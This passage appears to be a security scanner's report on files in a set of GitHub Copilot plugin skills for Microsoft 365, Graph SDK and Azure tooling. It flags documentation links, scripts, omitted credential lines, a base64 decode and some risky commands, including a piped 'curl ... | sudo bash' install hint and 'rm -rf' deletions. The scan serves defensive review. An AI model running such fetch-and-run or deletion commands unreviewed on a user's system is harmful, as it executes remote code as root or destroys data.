harness/github-copilot/plugins/mcp-development/skills/webmcpify/templates/webmcpify.ts

  • Network accessline 1
    /**  * webmcpify runtime — vendored from https://github.com/TueJon/webmcpify
  • Executable scriptline 1
    Executable file
  • Network accessline 2
    * webmcpify runtime — vendored from https://github.com/TueJon/webmcpify
  • Network accessline 24
    * SOFTWARE.  *  * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE
  • Network accessline 25
    *  * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE  *
  • Network accessline 26
    * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE
  • Network accessline 165
    * Bridge execute() to the app's own event/state flow. The dispatched detail  * carries `{ ...detail, requestId, signal }` — `signal` is an AbortSignal aborted  * on timeout; handlers should pass it to fetch() and skip state commits and the
  • Network accessline 166
    * carries `{ ...detail, requestId, signal }` — `signal` is an AbortSignal aborted  * on timeout; handlers should pass it to fetch() and skip state commits and the  * completion dispatch once aborted. Resolves only after the component confir
  • Network accessline 167
    * on timeout; handlers should pass it to fetch() and skip state commits and the

harness/github-copilot/plugins/mcp-m365-copilot/skills/mcp-create-adaptive-cards/SKILL.md

  • Network accessline 127
    {   "type": "AdaptiveCard",   "$schema": "https://adaptivecards.io/schemas/adaptive-card.json",
  • Network accessline 128
    "type": "AdaptiveCard",   "$schema": "https://adaptivecards.io/schemas/adaptive-card.json",   "version": "1.5",
  • Network accessline 129
    "$schema": "https://adaptivecards.io/schemas/adaptive-card.json",
  • Network accessline 162
    - [Adaptive Card Designer](https://adaptivecards.microsoft.com/designer)
  • Network accessline 163
    - [Adaptive Card Schema](https://adaptivecards.io/schemas/adaptive-card.json)
  • Network accessline 164
    - [Template Language](https://learn.microsoft.com/en-us/adaptive-cards/templating/language)
  • Network accessline 165
    - [JSONPath](https://www.rfc-editor.org/rfc/rfc9535)

harness/github-copilot/plugins/mcp-m365-copilot/skills/mcp-create-adaptive-cards/references/card-reference-examples.md

  • Network accessline 25
    "static_template": {             "type": "AdaptiveCard",             "$schema": "http://adaptivecards.io/schemas/adaptive-card.json",
  • Network accessline 26
    "type": "AdaptiveCard",             "$schema": "http://adaptivecards.io/schemas/adaptive-card.json",             "version": "1.5",
  • Network accessline 27
    "$schema": "http://adaptivecards.io/schemas/adaptive-card.json",
  • Network accessline 125
    }       ],       "$schema": "http://adaptivecards.io/schemas/adaptive-card.json"
  • Network accessline 126
    ],       "$schema": "http://adaptivecards.io/schemas/adaptive-card.json"     },
  • Network accessline 127
    "$schema": "http://adaptivecards.io/schemas/adaptive-card.json"
  • Network accessline 156
    }       ],       "$schema": "http://adaptivecards.io/schemas/adaptive-card.json"
  • Network accessline 157
    ],       "$schema": "http://adaptivecards.io/schemas/adaptive-card.json"     }
  • Network accessline 158
    "$schema": "http://adaptivecards.io/schemas/adaptive-card.json"
  • Network accessline 221
    {   "type": "Image",   "url": "https://example.com/image.png",
  • Network accessline 222
    "type": "Image",   "url": "https://example.com/image.png",   "size": "medium",  // auto, stretch, small, medium, large
  • Network accessline 223
    "url": "https://example.com/image.png",
  • Network accessline 265
    "type": "Action.OpenUrl",   "title": "View Details",   "url": "https://example.com/item/${id}"
  • Network accessline 266
    "title": "View Details",   "url": "https://example.com/item/${id}" }
  • Network accessline 267
    "url": "https://example.com/item/${id}"
  • Network accessline 288
    "static_template": {             "type": "AdaptiveCard",             "$schema": "http://adaptivecards.io/schemas/adaptive-card.json",
  • Network accessline 289
    "type": "AdaptiveCard",             "$schema": "http://adaptivecards.io/schemas/adaptive-card.json",             "version": "1.5",
  • Network accessline 290
    "$schema": "http://adaptivecards.io/schemas/adaptive-card.json",

harness/github-copilot/plugins/mcp-m365-copilot/skills/mcp-create-declarative-agent/SKILL.md

  • Network accessline 21
    - Use Microsoft 365 Agents Toolkit project conventions and generated `appPackage/` files. - The MCP server must expose server metadata, a tools listing endpoint, and tool execution endpoint. - Test the finished agent in Microsoft 365 Copilo
  • Network accessline 22
    - The MCP server must expose server metadata, a tools listing endpoint, and tool execution endpoint. - Test the finished agent in Microsoft 365 Copilot at `https://m365.cloud.microsoft/chat`. - Store secrets in `.env.local` or `.env.dev`; n
  • Network accessline 23
    - Test the finished agent in Microsoft 365 Copilot at `https://m365.cloud.microsoft/chat`.
  • Access to secretsline 24
    [Credential-related source omitted]
  • Access to secretsline 44
    [Credential-related source omitted]
  • Network accessline 49
    {"$schema":"https://developer.microsoft.com/json-schemas/teams/vDevPreview/MicrosoftTeams.schema.json","manifestVersion":"devPreview","version":"1.0.0","id":"...","developer":{"name":"...","websiteUrl":"...","privacyUrl":"...","termsOfUseUr
  • Network accessline 55
    {"$schema":"https://aka.ms/json-schemas/copilot/declarative-agent/v1.0/schema.json","version":"v1.0","name":"Agent Name","description":"Agent description","instructions":"You are an assistant that helps with [specific domain]. Use the avail
  • Network accessline 61
    {"schema_version":"v2.1","name_for_human":"Service Name","description_for_human":"Description for users","description_for_model":"Description for AI model","contact_email":"support@company.com","namespace":"serviceName","capabilities":{"con
  • Network accessline 67
    {"serverUrl":"https://{api-host}/mcp/","pluginFilePath":"appPackage/ai-plugin.json"}
  • Network accessline 85
    | Need | Configuration | | --- | --- | | OAuth 2.0 static registration | Use `"type": "OAuthPluginVault"`, `"reference_id": "${{OAUTH_REFERENCE_ID}}"`, `"authorization_url": "https://{auth-host}/authorize"`, `"client_id": "${{CLIENT_ID}}"`,
  • Network accessline 86
    [Credential-related source omitted]
  • Network accessline 87
    [Credential-related source omitted]
  • Access to secretsline 87
    [Credential-related source omitted]
  • Network accessline 94
    | Server | URL | Tools | Auth | | --- | --- | --- | --- | | GitHub MCP Server | `https://api.githubcopilot.com/mcp/` | `search_repositories`, `search_users`, `get_repository` | OAuth 2.0 |
  • Network accessline 95
    | --- | --- | --- | --- | | GitHub MCP Server | `https://api.githubcopilot.com/mcp/` | `search_repositories`, `search_users`, `get_repository` | OAuth 2.0 | | Jira MCP Server | `https://your-domain.atlassian.net/mcp/` | `search_issues`, `cr
  • Network accessline 96
    | GitHub MCP Server | `https://api.githubcopilot.com/mcp/` | `search_repositories`, `search_users`, `get_repository` | OAuth 2.0 |
  • Network accessline 97
    | Jira MCP Server | `https://your-domain.atlassian.net/mcp/` | `search_issues`, `create_issue`, `update_issue` | OAuth 2.0 |
  • Network accessline 98
    | Custom Service | `https://{api-host}/mcp/` | Custom tools exposed by your service | OAuth 2.0 or SSO |
  • Network accessline 140
    - Provisioning: pass | not run | blocked - Local debug/sideload: pass | not run | blocked - Microsoft 365 Copilot test at `https://m365.cloud.microsoft/chat`: pass | not run | blocked
  • Network accessline 142
    - Microsoft 365 Copilot test at `https://m365.cloud.microsoft/chat`: pass | not run | blocked
  • Access to secretsline 151
    [Credential-related source omitted]
  • Network accessline 157
    - [Microsoft Teams manifest schema](https://developer.microsoft.com/json-schemas/teams/vDevPreview/MicrosoftTeams.schema.json)
  • Network accessline 158
    - [Declarative agent schema](https://aka.ms/json-schemas/copilot/declarative-agent/v1.0/schema.json)
  • Network accessline 159
    - [Microsoft 365 Copilot chat](https://m365.cloud.microsoft/chat)

harness/github-copilot/plugins/mcp-m365-copilot/skills/mcp-deploy-manage-agents/SKILL.md

  • Network accessline 21
    - Access the Microsoft 365 admin center at https://admin.microsoft.com/ for tenant agent registry, availability, deployment, blocking, and assignment.
  • Network accessline 22
    - Use the Power Platform admin center at https://admin.powerplatform.microsoft.com/ when the agent is an App Builder agent, Workflows agent, agent studio agent, or flow-backed agent.
  • Network accessline 23
    - Use Partner Center at https://learn.microsoft.com/en-us/partner-center/ only for public Agent Store submission and validation.
  • Network accessline 135
    - [Microsoft 365 admin center](https://admin.microsoft.com/)
  • Network accessline 136
    - [Power Platform admin center](https://admin.powerplatform.microsoft.com/)
  • Network accessline 137
    - [Partner Center for agent submissions](https://learn.microsoft.com/en-us/partner-center/)
  • Network accessline 138
    - [Microsoft Agent 365 Overview](https://learn.microsoft.com/en-us/microsoft-agent-365/overview)
  • Network accessline 139
    - [Agent Registry Documentation](https://learn.microsoft.com/en-us/microsoft-365/admin/manage/agent-registry)

harness/github-copilot/plugins/microsoft-365-data-platform/skills/msgraph-sdk/SKILL.md

  • Network accessline 70
    | Resource data notifications | High-volume scenarios need changed resource payloads. | Requires additional encryption setup. | | Retry middleware | Production workloads may hit 429. | Enable SDK retry middleware or implement exact `Retry-A
  • Network accessline 72
    | Least privilege | Avoid broad permissions. | Use https://learn.microsoft.com/graph/permissions-reference and admin consent only when required. |
  • Network accessline 147
    - [Microsoft Graph overview](https://learn.microsoft.com/graph/overview)
  • Network accessline 148
    - [Graph Explorer](https://developer.microsoft.com/graph/graph-explorer)
  • Network accessline 149
    - [Graph permissions reference](https://learn.microsoft.com/graph/permissions-reference)

harness/github-copilot/plugins/microsoft-365-data-platform/skills/msgraph-sdk/references/dotnet.md

  • Network accessline 7
    - SDK repository: <https://github.com/microsoftgraph/msgraph-sdk-dotnet>
  • Network accessline 8
    - Samples: <https://github.com/microsoftgraph/msgraph-training-dotnet>
  • Network accessline 9
    - SDK changelog: <https://github.com/microsoftgraph/msgraph-sdk-dotnet/blob/main/CHANGELOG.md>
  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 59
    [Credential-related source omitted]

harness/github-copilot/plugins/microsoft-365-data-platform/skills/msgraph-sdk/references/python.md

  • Network accessline 7
    - SDK repository: <https://github.com/microsoftgraph/msgraph-sdk-python>
  • Network accessline 8
    - Samples: <https://github.com/microsoftgraph/msgraph-training-python>
  • Network accessline 9
    - SDK changelog: <https://github.com/microsoftgraph/msgraph-sdk-python/blob/main/CHANGELOG.md>
  • Access to secretsline 46
    [Credential-related source omitted]
  • Access to secretsline 47
    [Credential-related source omitted]
  • Access to secretsline 48
    [Credential-related source omitted]
  • Access to secretsline 63
    [Credential-related source omitted]
  • Access to secretsline 64
    [Credential-related source omitted]
  • Access to secretsline 65
    [Credential-related source omitted]
  • Access to secretsline 80
    [Credential-related source omitted]
  • Access to secretsline 81
    [Credential-related source omitted]
  • Network accessline 210
    [Credential-related source omitted]
  • Network accessline 211
    [Credential-related source omitted]
  • Network accessline 212
    async with httpx.AsyncClient() as client:
  • Network accessline 213
    [Credential-related source omitted]
  • Network accessline 214
    "https://graph.microsoft.com/v1.0/$batch",

harness/github-copilot/plugins/microsoft-365-data-platform/skills/msgraph-sdk/references/typescript.md

  • Network accessline 7
    - SDK repository: <https://github.com/microsoftgraph/msgraph-sdk-javascript>
  • Network accessline 8
    - Samples: <https://github.com/microsoftgraph/msgraph-training-typescript>
  • Network accessline 9
    - SDK changelog: <https://github.com/microsoftgraph/msgraph-sdk-javascript/blob/main/CHANGELOG.md>
  • Network accessline 33
    const credential = new DefaultAzureCredential(); const authProvider = new TokenCredentialAuthenticationProvider(credential, {   scopes: ["https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http#4-get-an-access-token"],
  • Network accessline 34
    const authProvider = new TokenCredentialAuthenticationProvider(credential, {   scopes: ["https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http#4-get-an-access-token"], });
  • Network accessline 35
    scopes: ["https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http#4-get-an-access-token"],
  • Access to secretsline 49
    [Credential-related source omitted]
  • Network accessline 52
    const authProvider = new TokenCredentialAuthenticationProvider(credential, {   scopes: ["https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http#4-get-an-access-token"],
  • Network accessline 53
    scopes: ["https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http#4-get-an-access-token"],
  • Access to secretsline 68
    [Credential-related source omitted]
  • Network accessline 72
    const authProvider = new TokenCredentialAuthenticationProvider(credential, {   scopes: ["https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http#4-get-an-access-token"],
  • Network accessline 73
    scopes: ["https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http#4-get-an-access-token"],
  • Network accessline 88
    // Opens a browser tab — requires redirect URI http://localhost in app registration

harness/github-copilot/plugins/napkin/skills/napkin/assets/step1-activate.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="800" height="460" viewBox="0 0 800 460">

harness/github-copilot/plugins/napkin/skills/napkin/assets/step2-whiteboard.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="800" height="480" viewBox="0 0 800 480">

harness/github-copilot/plugins/napkin/skills/napkin/assets/step3-draw.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="800" height="480" viewBox="0 0 800 480">

harness/github-copilot/plugins/napkin/skills/napkin/assets/step4-share.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="800" height="480" viewBox="0 0 800 480">

harness/github-copilot/plugins/napkin/skills/napkin/assets/step5-response.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="800" height="480" viewBox="0 0 800 480">

harness/github-copilot/plugins/noob-mode/skills/noob-mode/references/examples.md

  • Dangerous shell operationline 92
    Allow tool: bash with command "rm -rf node_modules && npm install"?
  • Network accessline 146
    Allow tool: web_fetch on URL "https://api.github.com/repos/github/docs/issues"?
  • Dangerous shell operationline 336
    Allow tool: bash with command "rm src/deprecated/old-auth.ts"?

harness/github-copilot/plugins/noob-mode/skills/noob-mode/references/glossary.md

  • Network accessline 252
    **Plain English:** A web address. The text you type in a browser's address bar. **Analogy:** A street address, but for websites. **Example in context:** "`https://github.com/settings`" = "The settings page on GitHub's website."
  • Network accessline 254
    **Example in context:** "`https://github.com/settings`" = "The settings page on GitHub's website."
  • Network accessline 280
    **Plain English:** A way of referring to your own computer as if it were a web server. Used for testing. **Analogy:** Rehearsing a presentation in your own office before giving it in the conference room. **Example in context:** "`http://loc
  • Network accessline 282
    **Example in context:** "`http://localhost:3000`" = "A website running on your own computer, on channel 3000."

harness/github-copilot/plugins/open-horizons-platform/skills/azure-agentic-architecture-patterns/SKILL.md

  • Network accessline 65
    - [Azure AI Foundry](https://learn.microsoft.com/azure/ai-foundry/)
  • Network accessline 66
    - [Azure Well-Architected for AI workloads](https://learn.microsoft.com/azure/well-architected/ai/)
  • Network accessline 67
    - [OpenTelemetry GenAI semantic conventions](https://opentelemetry.io/docs/specs/semconv/gen-ai/)
  • Network accessline 68
    - [Model Context Protocol](https://modelcontextprotocol.io/)
  • Network accessline 69
    - [GitHub Models](https://docs.github.com/github-models)

harness/github-copilot/plugins/open-horizons-platform/skills/azure-agentic-architecture-patterns/references/caching.md

  • Network accessline 46
    - [Azure API Management semantic caching policy](https://learn.microsoft.com/azure/api-management/azure-openai-semantic-cache-lookup-policy)
  • Network accessline 47
    - [Azure Managed Redis vector search](https://learn.microsoft.com/azure/redis/)
  • Network accessline 48
    - [RedisVL semantic cache](https://redis.io/docs/latest/integrate/redisvl/)

harness/github-copilot/plugins/open-horizons-platform/skills/azure-agentic-architecture-patterns/references/context-curation.md

  • Network accessline 47
    - [Retrieval augmented generation on Azure AI Search](https://learn.microsoft.com/azure/search/retrieval-augmented-generation-overview)
  • Network accessline 48
    - [Azure AI Foundry](https://learn.microsoft.com/azure/ai-foundry/)
  • Network accessline 49
    - [Azure Managed Redis vector search](https://learn.microsoft.com/azure/redis/)

harness/github-copilot/plugins/open-horizons-platform/skills/azure-agentic-architecture-patterns/references/evaluation-observability-cost.md

  • Network accessline 35
    - [Azure AI Foundry evaluation](https://learn.microsoft.com/azure/ai-foundry/concepts/evaluation-approach-gen-ai)
  • Network accessline 36
    - [OpenTelemetry GenAI semantic conventions](https://opentelemetry.io/docs/specs/semconv/gen-ai/)
  • Network accessline 37
    - [Monitor generative AI applications](https://learn.microsoft.com/azure/ai-foundry/how-to/monitor-applications)
  • Network accessline 38
    - [Azure Well-Architected cost optimization](https://learn.microsoft.com/azure/well-architected/cost-optimization/)

harness/github-copilot/plugins/open-horizons-platform/skills/azure-agentic-architecture-patterns/references/guardrails-and-identity.md

  • Network accessline 36
    - [Microsoft Entra Agent ID](https://learn.microsoft.com/entra/)
  • Network accessline 37
    - [Azure AI Content Safety](https://learn.microsoft.com/azure/ai-services/content-safety/)
  • Network accessline 38
    - [Prompt Shields](https://learn.microsoft.com/azure/ai-services/content-safety/concepts/jailbreak-detection)
  • Network accessline 39
    - [Azure Well-Architected security for AI](https://learn.microsoft.com/azure/well-architected/ai/)

harness/github-copilot/plugins/open-horizons-platform/skills/azure-agentic-architecture-patterns/references/memory.md

  • Network accessline 39
    - [Azure AI Foundry Agent Service threads](https://learn.microsoft.com/azure/ai-foundry/agents/)
  • Network accessline 40
    - [Azure Managed Redis](https://learn.microsoft.com/azure/redis/)
  • Network accessline 41
    - [Azure AI Search](https://learn.microsoft.com/azure/search/)

harness/github-copilot/plugins/open-horizons-platform/skills/azure-agentic-architecture-patterns/references/model-routing.md

  • Network accessline 35
    - [Azure AI Foundry model catalog and router](https://learn.microsoft.com/azure/ai-foundry/)
  • Network accessline 36
    - [GitHub Models](https://docs.github.com/github-models)
  • Network accessline 37
    - [Azure API Management for AI](https://learn.microsoft.com/azure/api-management/)

harness/github-copilot/plugins/open-horizons-platform/skills/azure-agentic-architecture-patterns/references/tools-and-mcp.md

  • Network accessline 34
    - [Model Context Protocol](https://modelcontextprotocol.io/)
  • Network accessline 35
    - [Azure API Center](https://learn.microsoft.com/azure/api-center/)
  • Network accessline 36
    - [Azure AI Foundry Agent Service tools](https://learn.microsoft.com/azure/ai-foundry/agents/)

harness/github-copilot/plugins/open-horizons-platform/skills/azure-api-center/SKILL.md

  • Network accessline 123
    - [Azure API Center](https://learn.microsoft.com/azure/api-center/)
  • Network accessline 124
    - [Register APIs in API Center](https://learn.microsoft.com/azure/api-center/register-apis)
  • Network accessline 125
    - [API governance and linting](https://learn.microsoft.com/azure/api-center/enable-api-analysis-linting)
  • Network accessline 126
    - [API Center and API Management](https://learn.microsoft.com/azure/api-center/)

harness/github-copilot/plugins/open-horizons-platform/skills/azure-apim-ai-gateway/SKILL.md

  • Network accessline 130
    - [Azure API Management AI gateway capabilities](https://learn.microsoft.com/azure/api-management/genai-gateway-capabilities)
  • Network accessline 131
    - [Token limit policy](https://learn.microsoft.com/azure/api-management/llm-token-limit-policy)
  • Network accessline 132
    - [Semantic caching policy](https://learn.microsoft.com/azure/api-management/azure-openai-semantic-cache-lookup-policy)
  • Network accessline 133
    - [Load balancing and circuit breaker for backends](https://learn.microsoft.com/azure/api-management/backends)

harness/github-copilot/plugins/open-horizons-platform/skills/azure-appinsights-instrumentation/references/AUTO.md

  • Network accessline 3
    Use Azure Portal to auto-instrument a webapp hosted in Azure App Service for App Insights without making any code changes. Only the following types of app can be auto-instrumented. See [supported environments and resource providers](https:/
  • Network accessline 10
    https://portal.azure.com/#resource/subscriptions/{subscription_id}/resourceGroups/{resource_group_name}/providers/Microsoft.Web/sites/{app_service_name}/monitoringSettings

harness/github-copilot/plugins/open-horizons-platform/skills/azure-appinsights-instrumentation/scripts/appinsights.ps1

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/open-horizons-platform/skills/azure-argocd-cli/references/commands.md

  • Network accessline 7
    # Add ArgoCD Helm repo helm repo add argo https://argoproj.github.io/argo-helm
  • Network accessline 8
    helm repo add argo https://argoproj.github.io/argo-helm
  • Network accessline 40
    # Or add via CLI argocd repo add https://github.com/${GITHUB_ORG}/open-horizons-platform.git \
  • Network accessline 41
    argocd repo add https://github.com/${GITHUB_ORG}/open-horizons-platform.git \

harness/github-copilot/plugins/open-horizons-platform/skills/azure-cli/scripts/setup-identity-federation.sh

  • Executable scriptline 1
    #!/bin/bash
  • Dangerous shell operationline 202
    trap "rm -f '$tmp'" RETURN
  • Network accessline 206
    {   "name": "${name}",   "issuer": "https://token.actions.githubusercontent.com",
  • Network accessline 207
    "name": "${name}",   "issuer": "https://token.actions.githubusercontent.com",   "audiences": ["api://AzureADTokenExchange"],
  • Network accessline 208
    "issuer": "https://token.actions.githubusercontent.com",
  • Network accessline 219
    {   "name": "${name}",   "issuer": "https://token.actions.githubusercontent.com",
  • Network accessline 220
    "name": "${name}",   "issuer": "https://token.actions.githubusercontent.com",   "subject": "${subject}",
  • Network accessline 221
    "issuer": "https://token.actions.githubusercontent.com",

harness/github-copilot/plugins/open-horizons-platform/skills/azure-cost-optimize/SKILL.md

  • Network accessline 100
    - [Azure Cost Management documentation](https://learn.microsoft.com/azure/cost-management-billing/)
  • Network accessline 101
    - [Azure Advisor cost recommendations](https://learn.microsoft.com/azure/advisor/advisor-cost-recommendations)

harness/github-copilot/plugins/open-horizons-platform/skills/azure-draw-io-diagram-generator/references/diagram-quality-standard.md

  • Network accessline 5
    Verification date: 2026-08-25. Primary source: [Create architecture design diagrams](https://learn.microsoft.com/en-us/azure/well-architected/architect-role/design-diagrams).

harness/github-copilot/plugins/open-horizons-platform/skills/azure-draw-io-diagram-generator/references/drawio-xml-schema.md

  • Network accessline 133
    iconProvider="azure"         iconProduct="Azure Key Vault"         iconSource="https://learn.microsoft.com/en-us/azure/architecture/icons/"
  • Network accessline 134
    iconProduct="Azure Key Vault"         iconSource="https://learn.microsoft.com/en-us/azure/architecture/icons/"         iconTerms="https://learn.microsoft.com/en-us/azure/architecture/icons/"
  • Network accessline 135
    iconSource="https://learn.microsoft.com/en-us/azure/architecture/icons/"
  • Network accessline 136
    iconTerms="https://learn.microsoft.com/en-us/azure/architecture/icons/"

harness/github-copilot/plugins/open-horizons-platform/skills/azure-draw-io-diagram-generator/references/official-icon-policy.md

  • Network accessline 20
    | Family | Official source | Permitted diagram use and constraints | | --- | --- | --- | | Azure services | [Azure Architecture Center icons](https://learn.microsoft.com/en-us/azure/architecture/icons/) | Microsoft permits copying, distribu
  • Network accessline 21
    | --- | --- | --- | | Azure services | [Azure Architecture Center icons](https://learn.microsoft.com/en-us/azure/architecture/icons/) | Microsoft permits copying, distributing, and displaying the supplied icons in architecture diagrams, tra
  • Network accessline 22
    | Azure services | [Azure Architecture Center icons](https://learn.microsoft.com/en-us/azure/architecture/icons/) | Microsoft permits copying, distributing, and displaying the supplied icons in architecture diagrams, training materials, or 
  • Network accessline 23
    | Microsoft Entra | [Microsoft Entra architecture icons](https://learn.microsoft.com/en-us/entra/architecture/architecture-icons) | Same architecture, training, and documentation permission. Do not use the architecture icons in marketing co
  • Network accessline 24
    | Microsoft Fabric | [Microsoft Fabric icons](https://learn.microsoft.com/en-us/fabric/fundamentals/icons) | Use product, experience, and item icons in diagrams, slide decks, training, or documentation without altering them. Label the exact
  • Network accessline 25
    | Power Platform | [Microsoft Power Platform icons](https://learn.microsoft.com/en-us/power-platform/guidance/icons) | Use in architecture diagrams, training materials, or documentation. Preserve the icons and use them only for the represen
  • Network accessline 26
    | Dynamics 365 | [Microsoft Dynamics 365 icons](https://learn.microsoft.com/en-us/dynamics365/get-started/icons) | Use in architecture diagrams, training materials, or documentation. Do not use removed or deprecated app icons from older pac
  • Network accessline 27
    | Microsoft 365 | [Microsoft 365 architecture icons and templates](https://learn.microsoft.com/en-us/previous-versions/microsoft-365/solutions/architecture-icons-templates) | The first-party page is archived and retired. Treat it as a fallb
  • Network accessline 28
    | General Microsoft brand assets | [Microsoft Trademark and Brand Guidelines](https://www.microsoft.com/en-us/legal/intellectualproperty/trademarks) | Many logos, app icons, and product icons require a license. Product-family architecture t
  • Network accessline 29
    | GitHub interface concepts | [GitHub Primer Octicons](https://github.com/primer/octicons) | Octicons are GitHub-built SVG interface icons and the repository code license is MIT. Use them for covered interface or workflow concepts, not as s
  • Network accessline 30
    | GitHub logos and product lockups | [GitHub brand logo guidance](https://brand.github.com/foundations/logo) | Use only in permitted contexts, with high contrast and secondary placement. Do not imply affiliation, use a GitHub mark as the us
  • Network accessline 31
    | GitHub Copilot | [GitHub Copilot brand guidance](https://brand.github.com/brand-identity/copilot) | Use current product lockups only when the use is permitted. The former standalone GitHub Copilot logo has been deprecated since 2025; do n

harness/github-copilot/plugins/open-horizons-platform/skills/azure-draw-io-diagram-generator/scripts/.gitignore

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/open-horizons-platform/skills/azure-draw-io-diagram-generator/scripts/README.md

  • Network accessline 61
    python scripts/add-icon.py docs/architecture.drawio ./icons/key-vault.svg    "Azure Key Vault" 320 180    --provider azure    --source-url https://learn.microsoft.com/en-us/azure/architecture/icons/
  • Network accessline 62
    "Azure Key Vault" 320 180 \   --provider azure \   --source-url https://learn.microsoft.com/en-us/azure/architecture/icons/ \
  • Network accessline 63
    --provider azure \   --source-url https://learn.microsoft.com/en-us/azure/architecture/icons/ \   --terms-url https://learn.microsoft.com/en-us/azure/architecture/icons/ \
  • Network accessline 64
    --source-url https://learn.microsoft.com/en-us/azure/architecture/icons/ \
  • Network accessline 65
    --terms-url https://learn.microsoft.com/en-us/azure/architecture/icons/ \

harness/github-copilot/plugins/open-horizons-platform/skills/azure-draw-io-diagram-generator/scripts/add-icon.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/plugins/open-horizons-platform/skills/azure-draw-io-diagram-generator/scripts/add-shape.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/plugins/open-horizons-platform/skills/azure-draw-io-diagram-generator/scripts/validate-drawio.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Possible obfuscationline 91
    return base64.b64decode(

harness/github-copilot/plugins/open-horizons-platform/skills/azure-entra-agent-user/SKILL.md

  • Network accessline 103
    - [Microsoft Entra Agent ID documentation](https://learn.microsoft.com/entra/agent-id/)

harness/github-copilot/plugins/open-horizons-platform/skills/azure-import-infrastructure-as-code/SKILL.md

  • Network accessline 109
    - [Azure Verified Modules Terraform index](https://azure.github.io/Azure-Verified-Modules/indexes/terraform/)
  • Network accessline 110
    - [Terraform import language](https://developer.hashicorp.com/terraform/language/import)

harness/github-copilot/plugins/open-horizons-platform/skills/azure-infrastructure/scripts/bootstrap.sh

  • Executable scriptline 1
    #!/bin/bash
  • Network accessline 154
    echo "Install missing tools:"         echo "  terraform: brew install terraform"         echo "  azure-cli: curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash"
  • Network accessline 155
    echo "  terraform: brew install terraform"         echo "  azure-cli: curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash"         echo "  kubectl:   az aks install-cli"
  • Dangerous shell operationline 156
    echo "  azure-cli: curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash"
  • Network accessline 156
    echo "  azure-cli: curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash"
  • Network accessline 309
    CLUSTER_NAME=$(terraform output -raw kubernetes_cluster_name)     ACR_NAME=$(terraform output -raw acr_login_server | cut -d'.' -f1)     KEY_VAULT=$(terraform output -raw key_vault_uri | sed 's|https://||' | cut -d'.' -f1)
  • Network accessline 311
    KEY_VAULT=$(terraform output -raw key_vault_uri | sed 's|https://||' | cut -d'.' -f1)
  • Network accessline 364
    log_step "Installing ArgoCD..."     kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/stable/manifests/ha/install.yaml
  • Network accessline 365
    kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/stable/manifests/ha/install.yaml

harness/github-copilot/plugins/open-horizons-platform/skills/azure-infrastructure/scripts/platform-bootstrap.sh

  • Executable scriptline 1
    #!/bin/bash
  • Network accessline 536
    echo "Access URLs:"         echo "  ArgoCD:    https://${argocd_url}"
  • Network accessline 537
    echo "  ArgoCD:    https://${argocd_url}"
  • Network accessline 538
    echo "  Backstage: https://${backstage_url}"
  • Network accessline 539
    echo "  Grafana:  https://${grafana_url}"
  • Dangerous shell operationline 591
    rm -f "$CHECKPOINT_FILE"

harness/github-copilot/plugins/open-horizons-platform/skills/azure-managed-redis-cache/references/access-and-network.md

  • Network accessline 32
    - [Authenticate to Azure Managed Redis with Microsoft Entra ID](https://learn.microsoft.com/azure/redis/entra-for-authentication)
  • Network accessline 33
    - [Azure Managed Redis network isolation](https://learn.microsoft.com/azure/redis/)
  • Network accessline 34
    - [DefaultAzureCredential](https://learn.microsoft.com/azure/developer/intro/azure-developer-create-resources)

harness/github-copilot/plugins/open-horizons-platform/skills/azure-managed-redis-cache/references/semantic-cache.md

  • Network accessline 39
    - [Azure Managed Redis vector search](https://learn.microsoft.com/azure/redis/redis-vector-search)
  • Network accessline 40
    - [RedisVL semantic cache](https://redis.io/docs/latest/integrate/redisvl/user_guide/llmcache/)
  • Network accessline 41
    - [Azure API Management semantic caching policy](https://learn.microsoft.com/azure/api-management/azure-openai-semantic-cache-lookup-policy)

harness/github-copilot/plugins/open-horizons-platform/skills/azure-managed-redis-cache/references/session-store.md

  • Network accessline 27
    - [Azure Managed Redis](https://learn.microsoft.com/azure/redis/)
  • Network accessline 28
    - [Azure AI Foundry Agent Service threads](https://learn.microsoft.com/azure/ai-foundry/agents/)

harness/github-copilot/plugins/open-horizons-platform/skills/azure-managed-redis-cache/references/vector-memory.md

  • Network accessline 32
    - [Azure Managed Redis vector search](https://learn.microsoft.com/azure/redis/redis-vector-search)
  • Network accessline 33
    - [RedisVL vector queries](https://redis.io/docs/latest/integrate/redisvl/)
  • Network accessline 34
    - [Azure AI Search vector search](https://learn.microsoft.com/azure/search/vector-search-overview)

harness/github-copilot/plugins/open-horizons-platform/skills/azure-observability-stack/SKILL.md

  • Network accessline 31
    # Add Helm repos helm repo add prometheus-community https://prometheus-community.github.io/helm-charts
  • Network accessline 32
    helm repo add prometheus-community https://prometheus-community.github.io/helm-charts
  • Network accessline 79
    # Check Prometheus targets curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets | length'
  • Network accessline 80
    curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets | length'
  • Network accessline 83
    [Credential-related source omitted]
  • Network accessline 85
